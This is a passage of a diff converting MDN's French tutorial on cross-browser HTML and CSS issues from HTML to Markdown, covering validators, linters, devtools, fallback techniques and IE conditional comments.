conflits risqueront moins d'arriver. Par exemple <code>.audio-player ul a</code>.</p> -</div> +Commençons et regardons comment nous pouvons réduire les erreurs en navigateur croisé issues du HTML/CSS. -<h3 id="La_validation">La validation</h3> +## Commençons par le commencement : résoudre les problèmes généraux -<p>Pour le HTML, la validation implique de s'assurer que toutes vos balises sont correctement fermées et imbriquées, que vous utilisez un DOCTYPE, et que vous utilisez les balises à leur fin prévue. Une bonne stratégie est de valider régulièrement votre code. On service qui peut le faire est le W3C <a href="https://validator.w3.org/">Markup Validation Service</a>, qui vous permet de montrer votre code, et retourne une liste d'erreurs :</p> +Nous disions dans le [premier article de cette série](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction#Testingdiscovery) que c'était une bonne stratégie de commencer à tester sur une paire de navigateurs modernes sur desktop/mobile, afin de vous assurer que votre site fonctionne pour l'essentiel, avant de commencer à se concentrer sur les problèmes en navigateur croisé. -<p><img alt="The HTML validator homepage" src="validator.png"></p> +Dans nos articles [Debugging HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML) et [Debugging CSS](/fr/docs/Learn/CSS/Introduction_to_CSS/Debugging_CSS), nous avancions quelques conseils très basiques sur le débogage HTML/CSS — si vous ne maîtrisez pas ces bases, vous devriez sans aucun doute aller étudier ces articles avant de continuer. -<p>Le CSS a une histoire semblable — vous devez vérifier que vos noms de propriétés sont correctement épelés, ques les valeurs des propriétés sont correctement épelées et qu'elles sont valides pour les propriétés auxquelles elles s'appliquent, que vous n'oubliez aucune accolades ouvrantes et fermantes. Les W3C a un <a class="external external-icon" href="http://jigsaw.w3.org/css-validator/">CSS Validator</a> également disponible à cet effet.</p> +Il s'agit essentiellement de vérifier si votre code HTML et CSS est bien conçu et s'il ne contient aucune erreur de syntaxe. -<h3 id="Les_linters">Les linters</h3> +> **Note :** Un problème fréquent avec le HTML et le CSS arrive quand différentes règles CSS commencent à entrer en conflit avec une autre. Cela peut être particulièrement problématique lorsque vous utilisez un bout de code tierce. Par exemple, vous pouvez utiliser un modèle CSS et remarquer qu'un des noms de classe qui est utilisé entre en conflit avec un que vous utilisez déjà dans un but différent. Ou vous pouvez trouver que du HTML généré par une API tierce (générateur de bannières publicitaires, par exemple) inclut un nom de classe ou d'ID que vous utilisez déjà dans un but différent. Afin de garantir que cela ne se produira pas, vous devez rechercher les outils que vous allez utiliser en premier et construire votre code en conséquence. Il convient également de relever les "[espace de noms](/fr/docs/Glossaire/Namespace)" en CSS, par ex. si vous avez un widget, assurez-vous qu'il a des classes distinctes, et ensuite commencez les sélecteurs qui sélectionnent les éléments à l'intérieur du widget avec cette classe, les conflits risqueront moins d'arriver. Par exemple `.audio-player ul a`. -<p>Une autre bonne option à envisager est ce qu'on appelle les applications Linter, qui ne font pas que souligner les erreurs, mais peuvent aussi mettre en évidence des avertissements à propos des mauvaises pratiques dans votre CSS, et encore d'autres points. Les linters peuvent pour la plupart être configurés pour être plus strictes ou plus coulants dans leur rapport d'erreur/avertissement.</p> +### La validation -<p>Il y a beaucoup d'applications linter en ligne, les meilleures d'entre elles sont probablement <a href="https://www.dirtymarkup.com/">Dirty Markup</a> (HTML, CSS, JavaScript), et <a href="http://csslint.net/">CSS Lint</a> (seulement CSS). Elles vous permettent de coller votre code dans une fenêtre, et mettront en évidence toutes les erreurs avec des croix, qui peuvent être survolées pour obtenir un message d'erreur décrivant le problème. Dirty Markup vous permet également de faire des fixs dans votre code en utilisant le bouton <em>Clean</em>.</p> +Pour le HTML, la validation implique de s'assurer que toutes vos balises sont correctement fermées et imbriquées, que vous utilisez un DOCTYPE, et que vous utilisez les balises à leur fin prévue. Une bonne stratégie est de valider régulièrement votre code. On service qui peut le faire est le W3C [Markup Validation Service](https://validator.w3.org/), qui vous permet de montrer votre code, et retourne une liste d'erreurs : -<p><img alt="" src="dirty-markup.png"></p> + -<p>Néanmoins, ce n'est pas très pratique de devoir copier et coller votre code dans une page web pour vérifier sa validité plusieurs fois. Ce dont vous avez vraiment besoin c'est d'un linter qui s'installera dans votre espace de travail standard avec le minimum de prise de tête.</p> +Le CSS a une histoire semblable — vous devez vérifier que vos noms de propriétés sont correctement épelés, ques les valeurs des propriétés sont correctement épelées et qu'elles sont valides pour les propriétés auxquelles elles s'appliquent, que vous n'oubliez aucune accolades ouvrantes et fermantes. Les W3C a un [CSS Validator](http://jigsaw.w3.org/css-validator/) également disponible à cet effet. +### Les linters +Une autre bonne option à envisager est ce qu'on appelle les applications Linter, qui ne font pas que souligner les erreurs, mais peuvent aussi mettre en évidence des avertissements à propos des mauvaises pratiques dans votre CSS, et encore d'autres points. Les linters peuvent pour la plupart être configurés pour être plus strictes ou plus coulants dans leur rapport d'erreur/avertissement. -<p>La plupart des éditeurs de code ont leur plugins linter. Par exemple, l'éditeur de code <a href="https://atom.io/">Atom</a> de Github possède un riche écosystème de plugins disponibles, avec beaucoup d'options de linting. Voici un exemple pour vous montrer comment un plugin marche généralement :</p> +Il y a beaucoup d'applications linter en ligne, les meilleures d'entre elles sont probablement [Dirty Markup](https://www.dirtymarkup.com/) (HTML, CSS, JavaScript), et [CSS Lint](http://csslint.net/) (seulement CSS). Elles vous permettent de coller votre code dans une fenêtre, et mettront en évidence toutes les erreurs avec des croix, qui peuvent être survolées pour obtenir un message d'erreur décrivant le problème. Dirty Markup vous permet également de faire des fixs dans votre code en utilisant le bouton _Clean_. -<ol> - <li>Installer Atom (si vous n'avez pas déjà une version à jour installée) — télécharger-le depuis la page Atom indiquée plus haut.</li> - <li>Aller dans la boîte de dialogue <em>Préférences...</em> d'Atom (par ex. en sélectionnant <em>Atom </em>> <em>Préférences...</em> sur Mac, ou <em>Fichier </em>> <em>Préférences...</em> sur Windows/Linux) et choisissez l'option <em>Installer</em> dans le menu gauche.</li> - <li>Dans le champs texte <em>Rechercher des packages</em>, taper "lint" et presser Entrer/Envoyer pour rechercher des packages liés au linting.</li> - <li>Vous devriez voir un package appelé <strong>lint</strong> dans le haut de la liste. Installez celui-ci en premier (en utilisant le bouton <em>Installer</em>), comme les autres linters lui font appel pour fonctionner. Ensuite, installer le plugin <strong>linter-csslint </strong>pour le linting CSS, et le plugin <strong>linter-tidy</strong> pour le linting HTML.</li> - <li>Une fois que les packages ont fini de s'installer, essayer de charger un fichier HTML et un fichier CSS : vous verrez plusieurs zones soulignées en vert (pour les avertissements) et des cercles rouges (pour les erreurs) à côté des numéros de ligne, et un panneau séparé en bas qui affiche les numéros de ligne, les messages d'erreur, et parfois qui vous suggère des valeur par défaut ou d'autres solutions.</li> -</ol> + +Néanmoins, ce n'est pas très pratique de devoir copier et coller votre code dans une page web pour vérifier sa validité plusieurs fois. Ce dont vous avez vraiment besoin c'est d'un linter qui s'installera dans votre espace de travail standard avec le minimum de prise de tête. +La plupart des éditeurs de code ont leur plugins linter. Par exemple, l'éditeur de code [Atom](https://atom.io/) de Github possède un riche écosystème de plugins disponibles, avec beaucoup d'options de linting. Voici un exemple pour vous montrer comment un plugin marche généralement : -<p><img alt="" src="atom-htmltidy.png"><img alt="" src="atom-csslint.png"></p> +1. Installer Atom (si vous n'avez pas déjà une version à jour installée) — télécharger-le depuis la page Atom indiquée plus haut. +2. Aller dans la boîte de dialogue _Préférences..._ d'Atom (par ex. en sélectionnant _Atom_ > _Préférences..._ sur Mac, ou _Fichier_ > _Préférences..._ sur Windows/Linux) et choisissez l'option _Installer_ dans le menu gauche. +3. Dans le champs texte _Rechercher des packages_, taper "lint" et presser Entrer/Envoyer pour rechercher des packages liés au linting. +4. Vous devriez voir un package appelé **lint** dans le haut de la liste. Installez celui-ci en premier (en utilisant le bouton _Installer_), comme les autres linters lui font appel pour fonctionner. Ensuite, installer le plugin **linter-csslint** pour le linting CSS, et le plugin **linter-tidy** pour le linting HTML. +5. Une fois que les packages ont fini de s'installer, essayer de charger un fichier HTML et un fichier CSS : vous verrez plusieurs zones soulignées en vert (pour les avertissements) et des cercles rouges (pour les erreurs) à côté des numéros de ligne, et un panneau séparé en bas qui affiche les numéros de ligne, les messages d'erreur, et parfois qui vous suggère des valeur par défaut ou d'autres solutions. -<p>D'autres éditeurs populaires ont des packages de linting similaires. Voir, par exemple :</p> + -<ul> - <li><a href="www.sublimelinter.com/">SublimeLinter</a> pour Sublime Text</li> - <li><a href="https://sourceforge.net/projects/notepad-linter/">Notepad++ linter</a></li> -</ul> +D'autres éditeurs populaires ont des packages de linting similaires. Voir, par exemple : -<h3 id="Les_outils_de_développement_des_navigateurs">Les outils de développement des navigateurs</h3> +- [SublimeLinter](www.sublimelinter.com/) pour Sublime Text +- [Notepad++ linter](https://sourceforge.net/projects/notepad-linter/) -<p>Les outils de développement inclus dans la plupart des navigateurs fournissent également des outils pour traquer les erreurs, en particulier pour le CSS.</p> +### Les outils de développement des navigateurs -<div class="note"> -<p><strong>Note :</strong> Les erreurs HTML n'ont pas tendance à se montrer facilement avec les outils de dev, étant donné que le navigateur va essayer de corriger en fermant automatiquement mal les balises ; le validateur W3C est la meilleure façon d'obtenir des erreurs HTML — voir {{anch("Validation")}} plus haut.</p> -</div> +Les outils de développement inclus dans la plupart des navigateurs fournissent également des outils pour traquer les erreurs, en particulier pour le CSS. -<p>As an example, in Firefox the CSS inspector will show CSS declarations that aren't applied crossed out, with a warning triangle. Hovering the warning triangle will provide a descriptive error message:</p> +> **Note :** Les erreurs HTML n'ont pas tendance à se montrer facilement avec les outils de dev, étant donné que le navigateur va essayer de corriger en fermant automatiquement mal les balises ; le validateur W3C est la meilleure façon d'obtenir des erreurs HTML — voir {{anch("Validation")}} plus haut. -<p><img alt="" src="css-message-devtools.png"></p> +As an example, in Firefox the CSS inspector will show CSS declarations that aren't applied crossed out, with a warning triangle. Hovering the warning triangle will provide a descriptive error message: -<p>Les outils de dev des autres navigateurs ont des fonctionnalités semblables.</p> + -<h2 id="Problèmes_fréquents_en_navigateur_croisé">Problèmes fréquents en navigateur croisé</h2> +Les outils de dev des autres navigateurs ont des fonctionnalités semblables. -<p>Attaquons-nous maintenant à certains des problèmes HTML et CSS les plus courants en navigateur croisé. Les sujets principaux que nous allons aborder sont l'absence de support pour les fonctionnalités modernes, et les problèmes de mise en page.</p> +## Problèmes fréquents en navigateur croisé -<h3 id="Les_vieux_navigateurs_ne_supportant_pas_les_fonctionnalités_récentes">Les vieux navigateurs ne supportant pas les fonctionnalités récentes</h3> +Attaquons-nous maintenant à certains des problèmes HTML et CSS les plus courants en navigateur croisé. Les sujets principaux que nous allons aborder sont l'absence de support pour les fonctionnalités modernes, et les problèmes de mise en page. -<p>C'est un problème courant, particulièrement lorsque vous devez supporter de vieux navigateurs (comme les anciennes versions d'IE) ou que vous utilisez des fonctionnalités qui sont implémentées en utilisant des préfixes CSS. En général, les fonctionnalités principales du HTML et du CSS (comme les éléments HTML basiques, les couleurs et styles de texte principaux de CSS) marchent sur la plupart des navigateurs que vous voulez supporter ; la majorité des problèmes sont découverts lorsque que vous commencez à vouloir utiliser des nouveautés comme <a href="/fr/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a>, ou <a href="/fr/docs/Web/Apps/Fundamentals/Audio_and_video_delivery">HTML5 video/audio</a>, ou encore plus récent, <a href="/fr/docs/Learn/CSS/CSS_layout/Grids#Native_CSS_Grids_with_Grid_Layout">CSS Grids</a> ou <a href="/fr/docs/Learn/CSS/Styling_boxes/Advanced_box_effects#-webkit-background-clip_text">-webkit-background-clip: text</a>.</p> +### Les vieux navigateurs ne supportant pas les fonctionnalités récentes -<p>Une fois que vous avez identifié une liste des potentielles technologies à problèmes que vous allez utiliser, c'est une bonne initiative des rechercher sur quels navigateurs elles sont supportées, et quelles techniques associées sont utiles. Voir {{anch("Finding help")}} plus bas.</p> +C'est un problème courant, particulièrement lorsque vous devez supporter de vieux navigateurs (comme les anciennes versions d'IE) ou que vous utilisez des fonctionnalités qui sont implémentées en utilisant des préfixes CSS. En général, les fonctionnalités principales du HTML et du CSS (comme les éléments HTML basiques, les couleurs et styles de texte principaux de CSS) marchent sur la plupart des navigateurs que vous voulez supporter ; la majorité des problèmes sont découverts lorsque que vous commencez à vouloir utiliser des nouveautés comme [Flexbox](/fr/docs/Learn/CSS/CSS_layout/Flexbox), ou [HTML5 video/audio](/fr/docs/Web/Apps/Fundamentals/Audio_and_video_delivery), ou encore plus récent, [CSS Grids](/fr/docs/Learn/CSS/CSS_layout/Grids#Native_CSS_Grids_with_Grid_Layout) ou [-webkit-background-clip: text](/fr/docs/Learn/CSS/Styling_boxes/Advanced_box_effects#-webkit-background-clip_text). -<h4 id="Comportement_naturel_du_HTML">Comportement naturel du HTML</h4> +Une fois que vous avez identifié une liste des potentielles technologies à problèmes que vous allez utiliser, c'est une bonne initiative des rechercher sur quels navigateurs elles sont supportées, et quelles techniques associées sont utiles. Voir {{anch("Finding help")}} plus bas. -<p>Certains problèmes peuvent être résolus, seulement en tirant parti des réactions naturelles du HTML/CSS.</p> +#### Comportement naturel du HTML -<p>Les éléments HTML non reconnus sont traités par les navigateurs comme des éléments inline anonymes (véritablement des éléments inline avec aucune valeur sémantiques, similaires aux éléments {{htmlelement("span")}} ). Vous pouvez toujours vous référez à eux avec leurs noms, et les styler avec du CSS, par exemple — vous avez juste besoin de vous assurer qu'ils se comportent comme vous le voulez, par exemple configurer <code>display: block;</code> sur tous les nouveaux éléments sémantiques (comme {{htmlelement("article")}}, {{htmlelement("aside")}}, etc.), mais seulement sur les vieilles versions d'IE qui ne les reconnaissent pas (donc, IE 8 et plus faible). De cette façon les nouveaux navigateurs peuvent juste utiliser le code normalement, mais les anciennes versions d'IE seront également capables de styler ces éléments.</p> +Certains problèmes peuvent être résolus, seulement en tirant parti des réactions naturelles du HTML/CSS. -<div class="note"> -<p><strong>Note :</strong> Voir {{anch("IE conditional comments")}} pour une application efficace.</p> -</div> +Les éléments HTML non reconnus sont traités par les navigateurs comme des éléments inline anonymes (véritablement des éléments inline avec aucune valeur sémantiques, similaires aux éléments {{htmlelement("span")}} ). Vous pouvez toujours vous référez à eux avec leurs noms, et les styler avec du CSS, par exemple — vous avez juste besoin de vous assurer qu'ils se comportent comme vous le voulez, par exemple configurer `display: block;` sur tous les nouveaux éléments sémantiques (comme {{htmlelement("article")}}, {{htmlelement("aside")}}, etc.), mais seulement sur les vieilles versions d'IE qui ne les reconnaissent pas (donc, IE 8 et plus faible). De cette façon les nouveaux navigateurs peuvent juste utiliser le code normalement, mais les anciennes versions d'IE seront également capables de styler ces éléments. +> **Note :** Voir {{anch("IE conditional comments")}} pour une application efficace. +Des éléments HTML plus complexes comme [\<video>](/fr/docs/Web/HTML/Element/video), [\<audio>](/fr/docs/Web/HTML/Element/audio), et [\<canvas>](/fr/docs/Web/HTML/Element/canvas) (et encore d'autres) ont des mécanismes naturels pour que les recours soient ajoutés, qui se basent sur le même principe décrit plus haut. Vous pouvez ajouter un contenu de repli entre la balise ouvrante et fermante, et les navigateurs ne supportant pas la feature vont effectivement ignorer les éléments extérieurs et exécuter le contenu imbriqué. -<p>Des éléments HTML plus complexes comme <a href="/fr/docs/Web/HTML/Element/video"><video></a>, <a href="/fr/docs/Web/HTML/Element/audio"><audio></a>, et <a href="/fr/docs/Web/HTML/Element/canvas"><canvas></a> (et encore d'autres) ont des mécanismes naturels pour que les recours soient ajoutés, qui se basent sur le même principe décrit plus haut. Vous pouvez ajouter un contenu de repli entre la balise ouvrante et fermante, et les navigateurs ne supportant pas la feature vont effectivement ignorer les éléments extérieurs et exécuter le contenu imbriqué.</p> +Par exemple : -<p>Par exemple :</p> +```html +<video id="video" controls preload="metadata" poster="img/poster.jpg"> + <source src="video/tears-of-steel-battle-clip-medium.mp4" type="video/mp4"> + <source src="video/tears-of-steel-battle-clip-medium.webm" type="video/webm"> + <source src="video/tears-of-steel-battle-clip-medium.ogg" type="video/ogg"> + <!-- Flash fallback --> + <object type="application/x-shockwave-flash" data="flash-player.swf?videoUrl=video/tears-of-steel-battle-clip-medium.mp4" width="1024" height="576"> + <param name="movie" value="flash-player.swf?videoUrl=video/tears-of-steel-battle-clip-medium.mp4" /> + <param name="allowfullscreen" value="true" /> + <param name="wmode" value="transparent" /> + <param name="flashvars" value="controlbar=over&image=img/poster.jpg&file=flash-player.swf?videoUrl=video/tears-of-steel-battle-clip-medium.mp4" /> + <img alt="Tears of Steel poster image" src="img/poster.jpg" width="1024" height="428" title="No video playback possible, please download the video from the link below" /> + </object> + <!-- Offer download --> + <a href="video/tears-of-steel-battle-clip-medium.mp4">Download MP4</a> +</video> +``` -<pre class="brush: html"><video id="video" controls preload="metadata" poster="img/poster.jpg"> - <source src="video/tears-of-steel-battle-clip-medium.mp4" type="video/mp4"> - <source src="video/tears-of-steel-battle-clip-medium.webm" type="video/webm"> - <source src="video/tears-of-steel-battle-clip-medium.ogg" type="video/ogg"> - <!-- Flash fallback --> - <object type="application/x-shockwave-flash" data="flash-player.swf?videoUrl=video/tears-of-steel-battle-clip-medium.mp4" width="1024" height="576"> - <param name="movie" value="flash-player.swf?videoUrl=video/tears-of-steel-battle-clip-medium.mp4" /> - <param name="allowfullscreen" value="true" /> - <param name="wmode" value="transparent" /> - <param name="flashvars" value="controlbar=over&amp;image=img/poster.jpg&amp;file=flash-player.swf?videoUrl=video/tears-of-steel-battle-clip-medium.mp4" /> - <img alt="Tears of Steel poster image" src="img/poster.jpg" width="1024" height="428" title="No video playback possible, please download the video from the link below" /> - </object> - <!-- Offer download --> - <a href="video/tears-of-steel-battle-clip-medium.mp4">Download MP4</a> -</video></pre> +Cette exemple (issu de [Creating a cross-browser video player](/fr/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/cross_browser_video_player)) n'inclut pas seulement un lecteur Flash de repli pour les anciennes versions d'IE, mais aussi un lien simple vous permettant de télécharger la vidéo si jamais le lecteur Flash ne fonctionne pas, finalement l'utilisateur peut toujours accéder à la vidéo. -<p>Cette exemple (issu de <a href="/fr/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/cross_browser_video_player">Creating a cross-browser video player</a>) n'inclut pas seulement un lecteur Flash de repli pour les anciennes versions d'IE, mais aussi un lien simple vous permettant de télécharger la vidéo si jamais le lecteur Flash ne fonctionne pas, finalement l'utilisateur peut toujours accéder à la vidéo.</p> +> **Note :** les librairies tierces comme [Video.js](http://videojs.com/) et [JW Player](https://www.jwplayer.com/) utilisent ce type de mécanismes de recours pour fournir un support en navigateur croisé. -<div class="note"> -<p><strong>Note :</strong> les librairies tierces comme <a href="http://videojs.com/">Video.js</a> et <a href="https://www.jwplayer.com/">JW Player</a> utilisent ce type de mécanismes de recours pour fournir un support en navigateur croisé.</p> -</div> +Les éléments des formulaire HTML5 présentent également des recours de qualités — HTML5 a introduit des types d'[`<input>`](/fr/docs/Web/HTML/Element/input) spéciaux pour insérer des informations spécifiques dans les formulaires, en particulier sur les plateformes mobiles, où fournir une insertion de données sans difficultés est primordiale pour l'expérience utilisateur. Supporter les plateformes apporte des widgets UI spéciaux lorsque ces types d'input sont utilisés, comme le widget calendrier pour entrer des dates. -<p>Les éléments des formulaire HTML5 présentent également des recours de qualités — HTML5 a introduit des types d'<code><a href="/fr/docs/Web/HTML/Element/input"><input></a></code> spéciaux pour insérer des informations spécifiques dans les formulaires, en particulier sur les plateformes mobiles, où fournir une insertion de données sans difficultés est primordiale pour l'expérience utilisateur. Supporter les plateformes apporte des widgets UI spéciaux lorsque ces types d'input sont utilisés, comme le widget calendrier pour entrer des dates.</p> +L'exemple suivant montre des inputs date et time : -<p>L'exemple suivant montre des inputs date et time :</p> +```html +<form> + <div> + <label for="date">Enter a date:</label> + <input id="date" type="date"> + </div> + <div> + <label for="time">Enter a time:</label> + <input id="time" type="time"> + </div> +</form> +``` -<pre class="brush: html"><form> - <div> - <label for="date">Enter a date:</label> - <input id="date" type="date"> - </div> - <div> - <label for="time">Enter a time:</label> - <input id="time" type="time"> - </div> -</form></pre> +##### Résultat -<h5>Résultat </h5> +Le résultat de ce code est le suivant : -<p>Le résultat de ce code est le suivant :</p> - -<pre class="brush: css hidden">label { +```css hidden +label { float: left; width: 30%; text-align: right; @@ -199,47 +198,44 @@ original_slug: Learn/Tools_and_testing/Cross_browser_testing/HTML_et_CSS body { width: 400px; margin: 0 auto; - }</pre> - - - -<pre class="brush: html hidden"><form> - <div> - <label for="date">Enter a date:</label> - <input id="date" type="date"> - </div> - <div> - <label for="time">Enter a time:</label> - <input id="time" type="time"> - </div> - </form></pre> + } +``` -<p>{{ EmbedLiveSample('Résultat', '100%', 150) }}</p> +```html hidden +<form> + <div> + <label for="date">Enter a date:</label> + <input id="date" type="date"> + </div> + <div> + <label for="time">Enter a time:</label> + <input id="time" type="time"> + </div> + </form> +``` -<div class="note"> -<p><strong>Note :</strong> Vous pouvez également le voir exécuté en direct depuis <a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/html-css/forms-test.html">forms-test.html</a> sur GitHub (voir aussi le <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/html-css/forms-test.html">code source</a>).</p> -</div> +{{ EmbedLiveSample('Résultat', '100%', 150) }} -<p>Si vous consultez l'exemple sur un navigateur qui supporte les technologies récentes comme Android Chrome ou iOS Safari, vous verrez le widget/fonctionnalité spécial en action quand vous essaierai de saisir des données. Sur des plateformes non compatibles comme Firefox ou Internet Explorer, les inputs vont juste recourir à un input texte normal, finalement l'utilisateur peut toujours entrer des informations.</p> +> **Note :** Vous pouvez également le voir exécuté en direct depuis [forms-test.html](http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/html-css/forms-test.html) sur GitHub (voir aussi le [code source](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/html-css/forms-test.html)). -<p>Note : Bien entendu, cela n'est pas une solution viable pour les besoins de votre projet — la différence dans une présentation visuelle n'est pas désirée, de plus c'est compliqué de garantir que la donnée qui a été inscrite est dans le format que vous voulez qu'elle soit. Pour les formulaires en navigateur croisé, il est préférable de se référer aux simples éléments de formulaire, ou utiliser les éléments avancés de formulaire de manière sélective uniquement sur les navigateurs qui les supportent, ou utiliser une librairie qui fournit des widget décents en navigateur croisé, comme <a href="http://jqueryui.com/">jQuery UI</a> ou <a href="https://bootstrap-datepicker.readthedocs.io/en/latest/">Bootstrap datepicker</a>.</p> +Si vous consultez l'exemple sur un navigateur qui supporte les technologies récentes comme Android Chrome ou iOS Safari, vous verrez le widget/fonctionnalité spécial en action quand vous essaierai de saisir des données. Sur des plateformes non compatibles comme Firefox ou Internet Explorer, les inputs vont juste recourir à un input texte normal, finalement l'utilisateur peut toujours entrer des informations. -<h4 id="Comportement_naturel_du_CSS">Comportement naturel du CSS</h4> +Note : Bien entendu, cela n'est pas une solution viable pour les besoins de votre projet — la différence dans une présentation visuelle n'est pas désirée, de plus c'est compliqué de garantir que la donnée qui a été inscrite est dans le format que vous voulez qu'elle soit. Pour les formulaires en navigateur croisé, il est préférable de se référer aux simples éléments de formulaire, ou utiliser les éléments avancés de formulaire de manière sélective uniquement sur les navigateurs qui les supportent, ou utiliser une librairie qui fournit des widget décents en navigateur croisé, comme [jQuery UI](http://jqueryui.com/) ou [Bootstrap datepicker](https://bootstrap-datepicker.readthedocs.io/en/latest/). +#### Comportement naturel du CSS -<p>Le CSS est sans doute meilleur en solution de recours que le HTML. Si un navigateur rencontre une déclaration ou une règle qu'il ne comprend pas, il la passe complètement sans l'appliquer ou provoquer une erreur. Cela peut être frustrant pour vous et vos utilisateurs si de telles erreurs se glissent à travers le code en production, mais au moins cela veut dire que l'ensemble du site ne va pas crasher à cause d'une erreur, et si utilisé intelligemment vous pouvez vous en servir à votre avantage.</p> +Le CSS est sans doute meilleur en solution de recours que le HTML. Si un navigateur rencontre une déclaration ou une règle qu'il ne comprend pas, il la passe complètement sans l'appliquer ou provoquer une erreur. Cela peut être frustrant pour vous et vos utilisateurs si de telles erreurs se glissent à travers le code en production, mais au moins cela veut dire que l'ensemble du site ne va pas crasher à cause d'une erreur, et si utilisé intelligemment vous pouvez vous en servir à votre avantage. -<p>Observons un exemple — une simple boîte stylée avec du CSS, qui a certains styles apportés par différentes caractéristiques CSS3 :</p> +Observons un exemple — une simple boîte stylée avec du CSS, qui a certains styles apportés par différentes caractéristiques CSS3 : -<p><img alt="" src="blingy-button.png"></p> + -<div class="note"> -<p><strong>Note :</strong> Vous pouvez également voir cet exemple exécuté en direct sur GitHub comme <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/html-css/button-with-fallback.html">button-with-fallback.html</a> (voir aussi le <a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/html-css/button-with-fallback.html">code source</a>).</p> -</div> +> **Note :** Vous pouvez également voir cet exemple exécuté en direct sur GitHub comme [button-with-fallback.html](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/html-css/button-with-fallback.html) (voir aussi le [code source](http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/html-css/button-with-fallback.html)). -<p>Le bouton a un nombre de déclarations qui le style, mais les deux qui nous intéressent le plus sont les suivantes :</p> +Le bouton a un nombre de déclarations qui le style, mais les deux qui nous intéressent le plus sont les suivantes : -<pre class="brush: css">button { +```css +button { ... background-color: #ff0000; @@ -255,253 +251,242 @@ button:hover { button:active { box-shadow: inset 1px 1px 3px rgba(0,0,0,0.4), inset -1px -1px 3px rgba(255,255,255,0.4); -}</pre> +} +``` -<p>Ici on fournit un {{cssxref("background-color")}} <a href="/fr/docs/Web/CSS/color_value#rgba()">RGBA</a> qui modifie l'opacité au survol afin de donner à l'utilisateur l'information que le bouton est interactif, et une ombre {{cssxref("box-shadow")}} interne semi-transparente pour donner au bouton un peu de texture et de profondeur. Le problème est que les couleurs RGBA et les box shadows ne fonctionnent pas sur les versions d'IE plus vieilles que la 9 — dans les versions plus anciennes le background ne sera juste pas visible du tout et le texte sera illisible, pas bon du tout !</p> +Ici on fournit un {{cssxref("background-color")}} [RGBA](</fr/docs/Web/CSS/color_value#rgba()>) qui modifie l'opacité au survol afin de donner à l'utilisateur l'information que le bouton est interactif, et une ombre {{cssxref("box-shadow")}} interne semi-transparente pour donner au bouton un peu de texture et de profondeur. Le problème est que les couleurs RGBA et les box shadows ne fonctionnent pas sur les versions d'IE plus vieilles que la 9 — dans les versions plus anciennes le background ne sera juste pas visible du tout et le texte sera illisible, pas bon du tout ! -<p><img alt="" src="unreadable-button.png"></p> + -<p>Pour résoudre ce problème, nous avons ajouté une deuxième déclaration <code>background-color</code>, qui précise juste une couleur hex — c'est un recours supporté par les vieux navigateurs, et agit en tant que solution de repli si les fonctionnalités belles et brillantes ne fonctionnent pas. Ce qui se passe c'est que le navigateur parcourant cette page applique pour commencer la première valeur <code>background-color</code> ; lorsqu'il sélectionne la deuxième déclaration <code>background-color</code>, il remplace la valeur initiale avec cette valeur s'il supporte les couleurs RGBA. S'il ne supporte pas, il ignorera juste toute la déclaration et continuera à avancer.</p> +Pour résoudre ce problème, nous avons ajouté une deuxième déclaration `background-color`, qui précise juste une couleur hex — c'est un recours supporté par les vieux navigateurs, et agit en tant que solution de repli si les fonctionnalités belles et brillantes ne fonctionnent pas. Ce qui se passe c'est que le navigateur parcourant cette page applique pour commencer la première valeur `background-color` ; lorsqu'il sélectionne la deuxième déclaration `background-color`, il remplace la valeur initiale avec cette valeur s'il supporte les couleurs RGBA. S'il ne supporte pas, il ignorera juste toute la déclaration et continuera à avancer. -<div class="note"> -<p><strong>Note :</strong> Il se produit la même chose pour les autres caractéristiques de CSS comme les blocs <a href="/fr/docs/Web/CSS/Media_Queries/Using_media_queries">media queries</a>, <code><a href="/fr/docs/Web/CSS/@font-face">@font-face</a></code> et <code><a href="/fr/docs/Web/CSS/@supports">@supports</a></code> — s'ils ne sont pas supportés, le navigateur va juste les ignorer.</p> -</div> +> **Note :** Il se produit la même chose pour les autres caractéristiques de CSS comme les blocs [media queries](/fr/docs/Web/CSS/Media_Queries/Using_media_queries), [`@font-face`](/fr/docs/Web/CSS/@font-face) et [`@supports`](/fr/docs/Web/CSS/@supports) — s'ils ne sont pas supportés, le navigateur va juste les ignorer. -<h4 id="Les_commentaires_conditionnels_dIE">Les commentaires conditionnels d'IE</h4> +#### Les commentaires conditionnels d'IE -<p>Les commentaires conditionnels d'IE sont une propriété modifiée de la syntaxe des commentaires HTML, qui peuvent être utilisés pour appliquer du code HTML de manière sélective à différentes versions d'IE. Cela s'est avéré être un mécanisme très efficace pour résoudre les bugs en navigateur croisé. La syntaxe ressemble à ça :</p> +Les commentaires conditionnels d'IE sont une propriété modifiée de la syntaxe des commentaires HTML, qui peuvent être utilisés pour appliquer du code HTML de manière sélective à différentes versions d'IE. Cela s'est avéré être un mécanisme très efficace pour résoudre les bugs en navigateur croisé. La syntaxe ressemble à ça : -<pre class="brush: html"><!--[if lte IE 8]> - <script src="ie-fix.js"></script> - <link href="ie-fix.css" rel="stylesheet" type="text/css"> -<![endif]--></pre> +```html +<!--[if lte IE 8]> + <script src="ie-fix.js"></script> + <link href="ie-fix.css" rel="stylesheet" type="text/css"> +<![endif]--> +``` -<p>Ce block appliquera les CSS et Javascript spécifiques à IE uniquement si le navigateur qui affiche la page est IE 8 ou plus vieux. <code>lte</code> veux dire "moins que ou égal", mais vous pouvez aussi utiliser lt, gt, gte, <code>!</code> pour NOT, et d'autre syntaxe logique.</p> +Ce block appliquera les CSS et Javascript spécifiques à IE uniquement si le navigateur qui affiche la page est IE 8 ou plus vieux. `lte` veux dire "moins que ou égal", mais vous pouvez aussi utiliser lt, gt, gte, `!` pour NOT, et d'autre syntaxe logique. -<div class="note"> -<p><strong>Note :</strong> L'article <a href="https://www.sitepoint.com/web-foundations/internet-explorer-conditional-comments/">Internet Explorer Conditional Comments</a> de Sitepoint apporte un tutoriel/référence utile pour les 